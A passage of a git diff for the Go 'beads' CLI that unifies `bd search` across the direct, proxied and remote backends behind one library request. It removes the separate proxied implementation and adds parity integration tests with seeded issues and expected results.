found/filed/fixed?" — exactly where silently excluding closed - // issues produces a false "no". This reverses the hq-319 open-only - // default, which traded that correctness for scan scope; narrow - // explicitly (e.g. --status open) when performance matters. - - if assignee != "" { - filter.Assignee = &assignee - } - - if issueType != "" { - t := types.IssueType(issueType) - filter.IssueType = &t - } - - if len(labels) > 0 { - filter.Labels = labels - } - - if len(labelsAny) > 0 { - filter.LabelsAny = labelsAny - } - - // Pattern matching - if descContains != "" { - filter.DescriptionContains = descContains - } - if notesContains != "" { - filter.NotesContains = notesContains - } - if externalContains != "" { - filter.ExternalRefContains = externalContains - } - - // Empty/null checks - if emptyDesc { - filter.EmptyDescription = true - } - if noAssignee { - filter.NoAssignee = true - } - if noLabels { - filter.NoLabels = true - } - - // Date ranges - if createdAfter != "" { - t, err := parseTimeFlag(createdAfter) - if err != nil { - return HandleError("parsing --created-after: %v", err) - } - filter.CreatedAfter = &t - } - if createdBefore != "" { - t, err := parseTimeFlag(createdBefore) - if err != nil { - return HandleError("parsing --created-before: %v", err) - } - filter.CreatedBefore = &t - } - if updatedAfter != "" { - t, err := parseTimeFlag(updatedAfter) - if err != nil { - return HandleError("parsing --updated-after: %v", err) - } - filter.UpdatedAfter = &t - } - if updatedBefore != "" { - t, err := parseTimeFlag(updatedBefore) - if err != nil { - return HandleError("parsing --updated-before: %v", err) - } - filter.UpdatedBefore = &t - } - if closedAfter != "" { - t, err := parseTimeFlag(closedAfter) - if err != nil { - return HandleError("parsing --closed-after: %v", err) - } - filter.ClosedAfter = &t - } - if closedBefore != "" { - t, err := parseTimeFlag(closedBefore) - if err != nil { - return HandleError("parsing --closed-before: %v", err) - } - filter.ClosedBefore = &t - } - - if cmd.Flags().Changed("priority-min") { - priorityMin, err := validation.ValidatePriority(priorityMinStr) - if err != nil { - return HandleError("parsing --priority-min: %v", err) - } - filter.PriorityMin = &priorityMin - } - if cmd.Flags().Changed("priority-max") { - priorityMax, err := validation.ValidatePriority(priorityMaxStr) - if err != nil { - return HandleError("parsing --priority-max: %v", err) - } - filter.PriorityMax = &priorityMax - } - - metadataFieldFlags, _ := cmd.Flags().GetStringArray("metadata-field") - if len(metadataFieldFlags) > 0 { - filter.MetadataFields = make(map[string]string, len(metadataFieldFlags)) - for _, mf := range metadataFieldFlags { - k, v, ok := strings.Cut(mf, "=") - if !ok || k == "" { - return HandleError("invalid --metadata-field: expected key=value, got %q", mf) - } - if err := storage.ValidateMetadataKey(k); err != nil { - return HandleError("invalid --metadata-field key: %v", err) - } - filter.MetadataFields[k] = v - } - } - hasMetadataKey, _ := cmd.Flags().GetString("has-metadata-key") - if hasMetadataKey != "" { - if err := storage.ValidateMetadataKey(hasMetadataKey); err != nil { - return HandleError("invalid --has-metadata-key: %v", err) - } - filter.HasMetadataKey = hasMetadataKey - } - - ctx := rootCtx - - issues, err := store.SearchIssues(ctx, query, filter) - if err != nil { - return HandleError("%v", err) - } - - // Apply sorting - workapi.SortIssues(issues, sortBy, reverse) - - if jsonOutput { - // Get labels and dependency counts - issueIDs := make([]string, len(issues)) - for i, issue := range issues { - issueIDs[i] = issue.ID - } - labelsMap, err := store.GetLabelsForIssues(ctx, issueIDs) - if err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to get labels: %v\n", err) - labelsMap = make(map[string][]string) - } - depCounts, err := store.GetDependencyCounts(ctx, issueIDs) - if err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to get dependency counts: %v\n", err) - depCounts = make(map[string]*types.DependencyCounts) - } - commentCounts, err := store.GetCommentCounts(ctx, issueIDs) - if err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to get comment counts: %v\n", err) - commentCounts = make(map[string]int) - } - - // Populate labels - for _, issue := range issues { - issue.Labels = labelsMap[issue.ID] - } - - // Build response with counts - issuesWithCounts := make([]*types.IssueWithCounts, len(issues)) - for i, issue := range issues { - counts := depCounts[issue.ID] - if counts == nil { - counts = &types.DependencyCounts{DependencyCount: 0, DependentCount: 0} - } - issuesWithCounts[i] = &types.IssueWithCounts{ - Issue: issue, - DependencyCount: counts.DependencyCount, - DependentCount: counts.DependentCount, - CommentCount: commentCounts[issue.ID], - } - } - return outputJSON(issuesWithCounts) - } - - // Load labels for display - issueIDs := make([]string, len(issues)) - for i, issue := range issues { - issueIDs[i] = issue.ID - } - labelsMap, _ := store.GetLabelsForIssues(ctx, issueIDs) - for _, issue := range issues { - issue.Labels = labelsMap[issue.ID] - } - - outputSearchResults(issues, query, longFormat) - return nil + return runSearch(cmd, args) }, } +// runSearch is `bd search` on every route — the direct store, the proxied +// server and a remote backend — and every route asks the same library entry: +// issueops.Reader.List with issueops.SearchListRequest (plus the narrowing +// flags), whose ListRequest.Query is SearchIssues' free text. The route only +// decides WHICH reader answers: the store's, or the proxied provider's. A +// remote backend's reader sends the text as listIssues' `q`, which the +// server's handler hands to the same role, and refuses before dialing against +// a server that does not advertise issues.list.search. +// +// The page is the first --limit rows in the store's default order (the +// request's SortBy); --sort/--reverse reorder that page here, which is what +// this command has always done. +func runSearch(cmd *cobra.Command, args []string) error { + fail := HandleError + if usesProxiedServer() { + fail = HandleErrorRespectJSON + } + + queryFlag, _ := cmd.Flags().GetString("query") + query := queryFlag + if len(args) > 0 { + query = strings.Join(args, " ") + } + if query == "" { + if err := cmd.Help(); err != nil { + fmt.Fprintf(os.Stderr, "Error displaying help: %v\n", err) + } + return fail("search query is required") + } + + req, err := searchListRequest(cmd, query) + if err != nil { + return fail("%v", err) + } + + reader, err := searchReader() + if err != nil { + return fail("%v", err) + } + page, err := reader.List(rootCtx, req) + if err != nil { + var unsup *storage.ErrUnsupported + if errors.As(err, &unsup) && unsup.Capability != "" { + return fail("bd search needs a bd serve that advertises %s: %v", unsup.Capability, err) + } + return fail("%v", err) + } + + sortBy, _ := cmd.Flags().GetString("sort") + reverse, _ := cmd.Flags().GetBool("reverse") + + if jsonOutput { + items := make([]*types.IssueWithCounts, 0, len(page.Items)) + for _, row := range page.Items { + if row != nil && row.Issue != nil { + items = append(items, row) + } + } + workapi.SortIssuesWithCounts(items, sortBy, reverse) + return outputJSON(items) + } + + issues, _ := listPageIssues(page) + workapi.SortIssues(issues, sortBy, reverse) + longFormat, _ := cmd.Flags().GetBool("long") + outputSearchResults(issues, query, longFormat) + return nil +} + +// searchReader is the Reader this invocation's route answers through, taken +// from the route's own accessor so its decorators are in place. +func searchReader() (issueops.Reader, error) { + if usesProxiedServer() { + return proxiedIssueReader() + } + if store == nil { + return nil, errors.New("no storage available") + } + return store.IssueReader() +} + +// searchListRequest maps `bd search`'s flags onto issueops.SearchListRequest. +// Flags a backend's Reader cannot carry (over http: --updated-*, --closed-*, +// --priority-min/max, the text-contains and empty/absent filters) are put on +// the request anyway, so that Reader refuses them rather than answering a +// wider search than was asked for. +func searchListRequest(cmd *cobra.Command, query string) (issueops.ListRequest, error) { + flags := cmd.Flags() + str := func(name string) string { v, _ := flags.GetString(name); return v } + boolean := func(name string) bool { v, _ := flags.GetBool(name); return v } + limit, _ := flags.GetInt("limit") + labels, _ := flags.GetStringSlice("label") + labelsAny, _ := flags.GetStringSlice("label-any") + + req := issueops.SearchListRequest(query) + req.Limit = &limit + if status := str("status"); status != "all" { + req.Status = status + } + req.Assignee = str("assignee") + // Expanded before the Reader validates it, as `bd list` does + // (list_input.go): an alias (feat, mol, mr, ...) names its canonical type, + // and a name the workspace does not know is refused, never an empty answer. + req.IssueType = utils.NormalizeIssueType(str("type")) + req.Labels = utils.NormalizeLabels(labels) + req.LabelsAny = utils.NormalizeLabels(labelsAny) + req.DescContains = str("desc-contains") + req.NotesContains = str("notes-contains") + req.ExternalContains = str("external-contains") + req.EmptyDesc = boolean("empty-description") + req.NoAssignee = boolean("no-assignee") + req.NoLabels = boolean("no-labels") + + for _, d := range []struct { + flag string + dst **time.Time + }{ + {"created-after", &req.CreatedAfter}, + {"created-before", &req.CreatedBefore}, + {"updated-after", &req.UpdatedAfter}, + {"updated-before", &req.UpdatedBefore}, + {"closed-after", &req.ClosedAfter}, + {"closed-before", &req.ClosedBefore}, + } { + raw := str(d.flag) + if raw == "" { + continue + } + t, err := parseTimeFlag(raw) + if err != nil { + return req, fmt.Errorf("parsing --%s: %w", d.flag, err) + } + *d.dst = &t + } + + for _, p := range []struct { + flag string + dst **int + }{ + {"priority-min", &req.PriorityMin}, + {"priority-max", &req.PriorityMax}, + } { + if !flags.Changed(p.flag) { + continue + } + v, err := validation.ValidatePriority(str(p.flag)) + if err != nil { + return req, fmt.Errorf("parsing --%s: %w", p.flag, err) + } + *p.dst = &v + } + + if fields, _ := flags.GetStringArray("metadata-field"); len(fields) > 0 { + req.MetadataFields = make(map[string]string, len(fields)) + for _, mf := range fields { + k, v, ok := strings.Cut(mf, "=") + if !ok || k == "" { + return req, fmt.Errorf("invalid --metadata-field: expected key=value, got %q", mf) + } + if err := storage.ValidateMetadataKey(k); err != nil { + return req, fmt.Errorf("invalid --metadata-field key: %w", err) + } + req.MetadataFields[k] = v + } + } + if key := str("has-metadata-key"); key != "" { + if err := storage.ValidateMetadataKey(key); err != nil { + return req, fmt.Errorf("invalid --has-metadata-key: %w", err) + } + req.HasMetadataKey = key + } + return req, nil +} + // outputSearchResults formats and displays search results func outputSearchResults(issues []*types.Issue, query string, longFormat bool) { if len(issues) == 0 { @@ -360,7 +274,7 @@ func init() { searchCmd.Flags().String("query", "", "Search query (alternative to positional argument)") searchCmd.Flags().StringP("status", "s", "", "Filter by stored status (comma-separated for OR; open, in_progress, blocked, deferred, closed, all). Default searches all statuses including closed. Note: dependency-blocked issues use 'bd blocked'") searchCmd.Flags().StringP("assignee", "a", "", "Filter by assignee") - searchCmd.Flags().StringP("type", "t", "", "Filter by type (bug, feature, task, epic, chore, decision, merge-request, molecule, gate)") + searchCmd.Flags().StringP("type", "t", "", "Filter by type (bug, feature, task, epic, chore, decision, message, molecule, gate, spike, story, milestone); custom types require types.custom config, and an unknown type is an error. Aliases: feat/enhancement→feature, mol→molecule, dec/adr→decision, mr→merge-request") searchCmd.Flags().StringSliceP("label", "l", []string{}, "Filter by labels (AND: must have ALL)") searchCmd.Flags().StringSlice("label-any", []string{}, "Filter by labels (OR: must have AT LEAST ONE)") searchCmd.Flags().IntP("limit", "n", 50, "Limit results (default: 50)") diff --git a/cmd/bd/search_proxied_server.go b/cmd/bd/search_proxied_server.go deleted file mode 100644 index cf98c4074..000000000 --- a/cmd/bd/search_proxied_server.go +++ /dev/null @@ -1,225 +0,0 @@ -package main - -import ( - "context" - "fmt" - "os" - "strings" - - "github.com/spf13/cobra" - "github.com/steveyegge/beads/internal/storage" - "github.com/steveyegge/beads/internal/types" - "github.com/steveyegge/beads/internal/utils" - "github.com/steveyegge/beads/internal/validation" - "github.com/steveyegge/beads/internal/workapi" -) - -func runSearchProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { - queryFlag, _ := cmd.Flags().GetString("query") - var query string - if len(args) > 0 { - query = strings.Join(args, " ") - } else if queryFlag != "" { - query = queryFlag - } - - if query == "" { - if err := cmd.Help(); err != nil { - fmt.Fprintf(os.Stderr, "Error displaying help: %v\n", err) - } - return HandleErrorRespectJSON("search query is required") - } - - status, _ := cmd.Flags().GetString("status") - assignee, _ := cmd.Flags().GetString("assignee") - issueType, _ := cmd.Flags().GetString("type") - limit, _ := cmd.Flags().GetInt("limit") - labels, _ := cmd.Flags().GetStringSlice("label") - labelsAny, _ := cmd.Flags().GetStringSlice("label-any") - longFormat, _ := cmd.Flags().GetBool("long") - sortBy, _ := cmd.Flags().GetString("sort") - reverse, _ := cmd.Flags().GetBool("reverse") - - createdAfter, _ := cmd.Flags().GetString("created-after") - createdBefore, _ := cmd.Flags().GetString("created-before") - updatedAfter, _ := cmd.Flags().GetString("updated-after") - updatedBefore, _ := cmd.Flags().GetString("updated-before") - closedAfter, _ := cmd.Flags().GetString("closed-after") - closedBefore, _ := cmd.Flags().GetString("closed-before") - - priorityMinStr, _ := cmd.Flags().GetString("priority-min") - priorityMaxStr, _ := cmd.Flags().GetString("priority-max") - - descContains, _ := cmd.Flags().GetString("desc-contains") - notesContains, _ := cmd.Flags().GetString("notes-contains") - externalContains, _ := cmd.Flags().GetString("external-contains") - - emptyDesc, _ := cmd.Flags().GetBool("empty-description") - noAssignee, _ := cmd.Flags().GetBool("no-assignee") - noLabels, _ := cmd.Flags().GetBool("no-labels") - - labels = utils.NormalizeLabels(labels) - labelsAny = utils.NormalizeLabels(labelsAny) - - filter := types.IssueFilter{ - Limit: limit, - } - - // Default (no --status) searches all statuses including closed - // (bd-t5yex) — keep in lockstep with the embedded path in search.go. - - if assignee != "" { - filter.Assignee = &assignee - } - - if issueType != "" { - t := types.IssueType(issueType) - filter.IssueType = &t - } - - if len(labels) > 0 { - filter.Labels = labels - } - - if len(labelsAny) > 0 { - filter.LabelsAny = labelsAny - } - - if descContains != "" { - filter.DescriptionContains = descContains - } - if notesContains != "" { - filter.NotesContains = notesContains - } - if externalContains != "" { - filter.ExternalRefContains = externalContains - } - - if emptyDesc { - filter.EmptyDescription = true - } - if noAssignee { - filter.NoAssignee = true - } - if noLabels { - filter.NoLabels = true - } - - if createdAfter != "" { - t, err := parseTimeFlag(createdAfter) - if err != nil { - return HandleErrorRespectJSON("parsing --created-after: %v", err) - } - filter.CreatedAfter = &t - } - if createdBefore != "" { - t, err := parseTimeFlag(createdBefore) - if err != nil { - return HandleErrorRespectJSON("parsing --created-before: %v", err) - } - filter.CreatedBefore = &t - } - if updatedAfter != "" { - t, err := parseTimeFlag(updatedAfter) - if err != nil { - return HandleErrorRespectJSON("parsing --updated-after: %v", err) - } - filter.UpdatedAfter = &t - } - if updatedBefore != "" { - t, err := parseTimeFlag(updatedBefore) - if err != nil { - return HandleErrorRespectJSON("parsing --updated-before: %v", err) - } - filter.UpdatedBefore = &t - } - if closedAfter != "" { - t, err := parseTimeFlag(closedAfter) - if err != nil { - return HandleErrorRespectJSON("parsing --closed-after: %v", err) - } - filter.ClosedAfter = &t - } - if closedBefore != "" { - t, err := parseTimeFlag(closedBefore) - if err != nil { - return HandleErrorRespectJSON("parsing --closed-before: %v", err) - } - filter.ClosedBefore = &t - } - - if cmd.Flags().Changed("priority-min") { - priorityMin, err := validation.ValidatePriority(priorityMinStr) - if err != nil { - return HandleErrorRespectJSON("parsing --priority-min: %v", err) - } - filter.PriorityMin = &priorityMin - } - if cmd.Flags().Changed("priority-max") { - priorityMax, err := validation.ValidatePriority(priorityMaxStr) - if err != nil { - return HandleErrorRespectJSON("parsing --priority-max: %v", err) - } - filter.PriorityMax = &priorityMax - } - - metadataFieldFlags, _ := cmd.Flags().GetStringArray("metadata-field") - if len(metadataFieldFlags) > 0 { - filter.MetadataFields = make(map[string]string, len(metadataFieldFlags)) - for _, mf := range metadataFieldFlags { - k, v, ok := strings.Cut(mf, "=") - if !ok || k == "" { - return HandleErrorRespectJSON("invalid --metadata-field: expected key=value, got %q", mf) - } - if err := storage.ValidateMetadataKey(k); err != nil { - return HandleErrorRespectJSON("invalid --metadata-field key: %v", err) - } - filter.MetadataFields[k] = v - } - } - hasMetadataKey, _ := cmd.Flags().GetString("has-metadata-key") - if hasMetadataKey != "" { - if err := storage.ValidateMetadataKey(hasMetadataKey); err != nil { - return HandleErrorRespectJSON("invalid --has-metadata-key: %v", err) - } - filter.HasMetadataKey = hasMetadataKey - } - - uw, err := openProxiedListUOW(ctx) - if err != nil { - return HandleErrorRespectJSON("%v", err) - } - defer uw.Close(ctx) - - if status != "" && status != "all" { - cfg, err := workapi.LoadUOWListConfig(ctx, uw) - if err != nil { - return HandleErrorRespectJSON("loading status configuration: %v", err) - } - if err := workapi.ApplyStatusFilter(&filter, status, cfg.CustomStatusNames()); err != nil { - return HandleErrorRespectJSON("%v", err) - } - } - - if jsonOutput { - page, err := uw.IssueUseCase().SearchIssuesWithCounts(ctx, query, filter) - if err != nil { - return HandleErrorRespectJSON("%v", err) - } - items := page.Items - workapi.SortIssuesWithCounts(items, sortBy, reverse) - if items == nil { - items = []*types.IssueWithCounts{} - } - return outputJSON(items) - } - - page, err := uw.IssueUseCase().SearchIssues(ctx, query, filter) - if err != nil { - return HandleErrorRespectJSON("%v", err) - } - issues := page.Items - workapi.SortIssues(issues, sortBy, reverse) - outputSearchResults(issues, query, longFormat) - return nil -} diff --git a/cmd/bd/search_routes_embedded_test.go b/cmd/bd/search_routes_embedded_test.go new file mode 100644 index 000000000..df0303109 --- /dev/null +++ b/cmd/bd/search_routes_embedded_test.go @@ -0,0 +1,30 @@ +//go:build cgo + +package main + +import ( + "os" + "testing" +) + +// TestEmbeddedSearchRoutesAgree is the direct route of the `bd search` route +// agreement (search_routes_parity_test.go): an embedded workspace answers +// every flag set as searchRouteQueries expects. +// TestProxiedServerSearchRoutesAgree holds the proxied and remote routes to +// the same answers. +func TestEmbeddedSearchRoutesAgree(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "sp") + seedSearchRoutes(searchRouteOps{ + create: func(title string, args []string) string { + return bdCreate(t, bd, dir, append([]string{title}, args...)...).ID + }, + close: func(id string) { bdClose(t, bd, dir, id) }, + markTemplate: func(id string) { markIssueTemplate(t, beadsDir, "sp", id) }, + promote: func(id string) { bdPromote(t, bd, dir, id) }, + }) + checkSearchRoute(t, "direct", bd, dir, bdEnv(dir), false) +} diff --git a/cmd/bd/search_routes_parity_test.go b/cmd/bd/search_routes_parity_test.go new file mode 100644 index 000000000..af851f54d --- /dev/null +++ b/cmd/bd/search_routes_parity_test.go @@ -0,0 +1,232 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "os/exec" + "slices" + "strings" + "testing" +) + +// The `bd search` route agreement. Every route (the direct store, the proxied +// server and a remote backend) builds ONE request (searchListRequest over +// issueops.SearchListRequest) and asks ONE library entry with it +// (issueops.Reader.List), so the same seed must answer the same flags the same +// way on all of them. A route that mapped a flag on its own, or reached a +// different read, would answer differently. +// +// The routes run in two lanes: TestEmbeddedSearchRoutesAgree (the direct +// route, embedded lane) and TestProxiedServerSearchRoutesAgree (the proxied +// and remote routes, proxied lane). Neither lane can run the other's +// workspace, so both hold their answers to the same expectation, +// searchRouteQueries' want, through checkSearchRoute. Agreeing with it on +// every route is agreeing with each other. + +// searchRouteSeed is one row of the seed every route gets. Distinct priorities +// among the "routed" rows make a --limit cut the same rows on every route +// regardless of creation-time ties. +// +// The "kinded" rows are one of each kind of row a listing hides by default and +// search's scope takes back (issueops.SearchListRequest): a template, a gate, +// an infra-typed wisp and a durable row of the same infra type. They match a +// word of their own rather than "routed", so the ordered queries below still +// see one row per priority. +type searchRouteSeed struct { + title string + args []string + then searchRouteStep +} + +// searchRouteStep is what a route does to a seed row once it has created it. +type searchRouteStep int + +const ( + srAsCreated searchRouteStep = iota + srClose + srMarkTemplate // no create flag makes a template, so this is raw SQL + srPromote // out of the ephemeral plane creating an infra type puts it in +) + +var searchRouteSeeds = []searchRouteSeed{ + {"Routed alpha task", []string{"--type", "task", "--priority", "0", "--assignee", "alice", "--label", "lane:a"}, srAsCreated}, + {"Routed beta bug", []string{"--type", "bug", "--priority", "1", "--assignee", "bob", "--label", "lane:b"}, srAsCreated}, + {"re-ROUTED gamma", []string{"--type", "feature", "--priority", "2", "--label", "lane:a"}, srAsCreated}, + {"Routed and done", []string{"--type", "task", "--priority", "3"}, srClose}, + {"unrelated delta", []string{"--type", "task", "--priority", "4", "--label", "lane:a"}, srAsCreated}, + {"Kinded template", []string{"--type", "task"}, srMarkTemplate}, + {"Kinded gate", []string{"--type", "gate"}, srAsCreated}, + {"Kinded wisp message", []string{"--type", "message"}, srAsCreated}, + {"Kinded promoted message", []string{"--type", "message"}, srPromote}, +} + +const ( + srAlpha = "Routed alpha task|open" + srBeta = "Routed beta bug|open" + srGamma = "re-ROUTED gamma|open" + srDone = "Routed and done|closed" + + skTemplate = "Kinded template|open" + skGate = "Kinded gate|open" + skWisp = "Kinded wisp message|open" + skPromoted = "Kinded promoted message|open" +) + +// searchRouteQuery is one flag set. want is the seed's answer as title|status: +// in output order when ordered, otherwise as a set. +type searchRouteQuery struct { + name string + args []string + ordered bool // the flags fix the output order + wireCan bool // listIssues can carry every flag + want []string +} + +var searchRouteQueries = []searchRouteQuery{ + {"text", []string{"routed"}, false, true, []string{srAlpha, srBeta, srGamma, srDone}}, + {"status open", []string{"routed", "--status", "open"}, false, true, []string{srAlpha, srBeta, srGamma}}, + {"status all", []string{"routed", "--status", "all"}, false, true, []string{srAlpha, srBeta, srGamma, srDone}}, + {"type", []string{"routed", "--type", "bug"}, false, true, []string{srBeta}}, + {"label", []string{"routed", "--label", "lane:a"}, false, true, []string{srAlpha, srGamma}}, + {"assignee", []string{"routed", "--assignee", "alice"}, false, true, []string{srAlpha}}, + // The store's default order is priority first, so the cut keeps P0 and P1. + {"limit", []string{"routed", "--limit", "2"}, false, true, []string{srAlpha, srBeta}}, + // The title sort is case-insensitive (workapi.SortIssues). + {"sort title", []string{"routed", "--sort", "title"}, true, true, []string{srGamma, srAlpha, srDone, srBeta}}, + {"sort priority reverse", []string{"routed", "--sort", "priority", "--reverse"}, true, true, []string{srDone, srGamma, srBeta, srAlpha}}, + {"query flag", []string{"--query", "gamma"}, false, true, []string{srGamma}}, + {"no match", []string{"nothing-matches-this"}, false, true, nil}, + {"priority-max", []string{"routed", "--priority-max", "1"}, false, false, []string{srAlpha, srBeta}}, + // --type is expanded as `bd list` expands it before the Reader validates it. + {"type alias", []string{"routed", "--type", "feat"}, false, true, []string{srGamma}}, + // Every kind of row comes back under no flag and under its own --type. An + // infra type is the one that also narrows a listing to its ephemeral rows; + // search's scope keeps the durable row of that type beside the wisp. + {"every kind of row", []string{"kinded"}, false, true, []string{skTemplate, skGate, skWisp, skPromoted}}, + {"type message keeps both planes", []string{"kinded", "--type", "message"}, false, true, []string{skWisp, skPromoted}}, + {"type gate", []string{"kinded", "--type", "gate"}, false, true, []string{skGate}}, + {"type task keeps the template", []string{"kinded", "--type", "task"}, false, true, []string{skTemplate}}, +} + +// searchRouteRefusals are flag sets every route must refuse, naming the value +// it refused, rather than answer with an empty result. +var searchRouteRefusals = []struct { + name string + args []string + value string +}{ + {"unknown type", []string{"routed", "--type", "no-such-type"}, "no-such-type"}, +} + +type searchRouteRow struct{ ID, Title, Status string } + +// searchRouteOps is how one route writes the seed. +type searchRouteOps struct { + create func(title string, args []string) string + close func(id string) + markTemplate func(id string) + promote func(id string) +} + +// seedSearchRoutes creates searchRouteSeeds through one route's writes. +func seedSearchRoutes(ops searchRouteOps) { + for _, s := range searchRouteSeeds { + id := ops.create(s.title, s.args) + switch s.then { + case srClose: + ops.close(id) + case srMarkTemplate: + ops.markTemplate(id) + case srPromote: + ops.promote(id) + } + } +} + +// runSearchRoute runs `bd search --json args...` in dir and returns its +// stdout, stderr and exit code. +func runSearchRoute(t *testing.T, bd, dir string, env []string, args ...string) (string, string, int) { + t.Helper() + cmd := exec.Command(bd, append([]string{"search", "--json"}, args...)...) + cmd.Dir = dir + cmd.Env = env + stdout, stderr, err := runCommandBuffers(t, cmd) + code := 0 + if err != nil { + ee, ok := err.(*exec.ExitError) + if !ok { + t.Fatalf("running bd search: %v", err) + } + code = ee.ExitCode() + } + return stdout.String(), stderr.String(), code +} + +func decodeSearchRoute(t *testing.T, out string) []searchRouteRow { + t.Helper() + s := strings.TrimSpace(out) + start := strings.Index(s, "[") + if start < 0 { + return nil + } + var rows []searchRouteRow + if err := json.Unmarshal([]byte(s[start:]), &rows); err != nil { + t.Fatalf("parse search JSON: %v\n%s", err, s) + } + return rows +} + +// searchRouteComparable projects rows onto what two databases with the same +// seed share (title and status, not ids); an unordered answer is a sorted set. +func searchRouteComparable(rows []searchRouteRow, ordered bool) []string { + out := make([]string, 0, len(rows)) + for _, r := range rows { + out = append(out, r.Title+"|"+r.Status) + } + if !ordered { + slices.Sort(out) + } + return out +} + +// checkSearchRoute runs every query on one route and holds each answer to its +// want. A query listIssues cannot carry (wireCan false) must refuse on a +// remote route rather than answer without the flag, and every refusal must +// refuse on every route. It returns the decoded answers by query name, for a +// route that is compared row for row with another one over the same database. +func checkSearchRoute(t *testing.T, route, bd, dir string, env []string, remote bool) map[string][]searchRouteRow { + t.Helper() + answers := map[string][]searchRouteRow{} + for _, q := range searchRouteQueries { + stdout, stderr, code := runSearchRoute(t, bd, dir, env, q.args...) + if remote && !q.wireCan { + if code == 0 { + t.Errorf("%s: %s bd search %v succeeded; listIssues cannot carry it, so it must refuse", q.name, route, q.args) + } + continue + } + if code != 0 { + t.Errorf("%s: %s bd search %v failed (exit %d): %s", q.name, route, q.args, code, stderr) + continue + } + rows := decodeSearchRoute(t, stdout) + answers[q.name] = rows + want := slices.Clone(q.want) + if !q.ordered { + slices.Sort(want) + } + if got := searchRouteComparable(rows, q.ordered); !slices.Equal(got, want) { + t.Errorf("%s: %s bd search %v answered %v, want %v", q.name, route, q.args, got, want) + } + } + for _, r := range searchRouteRefusals { + stdout, stderr, code := runSearchRoute(t, bd, dir, env, r.args...) + if code == 0 { + t.Errorf("%s: %s bd search %v succeeded with %s; it must refuse", r.name, route, r.args, strings.TrimSpace(stdout)) + } else if !strings.Contains(stdout+stderr, r.value) { + t.Errorf("%s: %s bd search %v refused (exit %d) without naming %q:\n%s%s", r.name, route, r.args, code, r.value, stdout, stderr) + } + } + return answers +} diff --git a/cmd/bd/search_routes_proxied_test.go b/cmd/bd/search_routes_proxied_test.go new file mode 100644 index 000000000..bc5f2de88 --- /dev/null +++ b/cmd/bd/search_routes_proxied_test.go @@ -0,0 +1,66 @@ +//go:build cgo + +package main + +import ( + "os" + "os/exec" + "slices" + "testing" +) + +// TestProxiedServerSearchRoutesAgree is the proxied and remote routes of the +// `bd search` route agreement (search_routes_parity_test.go). Both answer every +// flag set as searchRouteQueries expects, the answers +// TestEmbeddedSearchRoutesAgree holds the direct route to. The remote route is +// `bd serve` over the proxied workspace (bd serve needs a SQL server, so it +// cannot serve an embedded one), so it reads the SAME database as the proxied +// route and must answer it row for row, ids and order included. +func TestProxiedServerSearchRoutesAgree(t *testing.T) { + if os.Getenv("BEADS_TEST_PROXIED_SERVER") != "1" { + t.Skip("set BEADS_TEST_PROXIED_SERVER=1 to run proxied server integration tests") + } + bd := buildEmbeddedBD(t) + p := newSharedProxiedProject(t, bd, "sp") + seedSearchRoutes(searchRouteOps{ + create: func(title string, args []string) string { + return bdProxiedCreate(t, bd, p.dir, append([]string{title}, args...)...).ID + }, + close: func(id string) { bdProxiedClose(t, bd, p.dir, id) }, + markTemplate: func(id string) { + res, err := openProxiedDB(t, p).Exec("UPDATE issues SET is_template = 1 WHERE id = ?", id) + if err != nil { + t.Fatalf("mark %s a template: %v", id, err) + } + if n, err := res.RowsAffected(); err != nil || n != 1 { + t.Fatalf("mark %s a template: %d rows affected (err %v), want 1", id, n, err) + } + }, + promote: func(id string) { + if out, err := bdProxiedRun(t, bd, p.dir, "promote", id); err != nil { + t.Fatalf("bd promote %s: %v\n%s", id, err, out) + } + }, + }) + proxied := checkSearchRoute(t, "proxied", bd, p.dir, bdProxiedEnv(p.dir), false) + + sp := startServe(t, bd, p.dir, bdProxiedEnv(p.dir)) + remoteDir := t.TempDir() + connect := exec.Command(bd, "connect", "http://"+sp.addr, "--json") + connect.Dir = remoteDir + connect.Env = bdEnv(remoteDir) + if out, err := connect.CombinedOutput(); err != nil { + t.Fatalf("bd connect: %v\n%s", err, out) + } + remote := checkSearchRoute(t, "remote", bd, remoteDir, bdEnv(remoteDir), true) + for _, q := range searchRouteQueries { + got, gotOK := remote[q.name] + want, wantOK := proxied[q.name] + if !gotOK || !wantOK { + continue // refused or failed on a route: reported above + } + if !slices.Equal(got, want) { + t.Errorf("%s: remote answered %+v, proxied answered %+v", q.name, got, want) + } + } +} diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 75f3c6668..c47e97a9a 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -81,7 +81,10 @@ var showCmd = &cobra.Command{ if len(args) > 0 { return HandleErrorRespectJSON("--current cannot be combined with explicit issue IDs") } - currentID := resolveCurrentIssueID(ctx) + currentID, err := resolveCurrentIssueID(ctx) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } if currentID == "" { return HandleErrorRespectJSON("no current issue found (no in-progress, hooked, or recently touched issues)") } diff --git a/cmd/bd/show_current.go b/cmd/bd/show_current.go new file mode 100644 index 000000000..43e2b500a --- /dev/null +++ b/cmd/bd/show_current.go @@ -0,0 +1,52 @@ +package main + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/issueops" +) + +// resolveCurrentIssueID determines the current active issue for the agent. +// Priority: in-progress assigned to actor > hooked > last touched. +// +// The lookup is the library's (issueops.FindCurrentIssue, over the Querier +// role every backend serves: queryIssues on a remote one), and both routes ask +// it: the direct route with store.Querier(), the proxied route with the +// provider's. What stays here is CLI policy: who the actor is, and the +// last-touched fallback, which is a file in this workspace. +// +// A failed read is an error. The fallback answers "nothing is in progress", +// and only reads that answered may say so: taking the http backend's refusal +// for a miss is what printed the wrong issue with exit 0. +func resolveCurrentIssueID(ctx context.Context) (string, error) { + var querier issueops.Querier + if usesProxiedServer() { + q, err := proxiedQuerier() + if err != nil { + return "", fmt.Errorf("finding the current issue: %w", err) + } + querier = q + } else if store != nil { + q, err := store.Querier() + if err != nil { + return "", fmt.Errorf("finding the current issue: %w", err) + } + querier = q + } + return resolveCurrentIssueIDFrom(ctx, querier, getActorWithGit, GetLastTouchedID) +} + +func 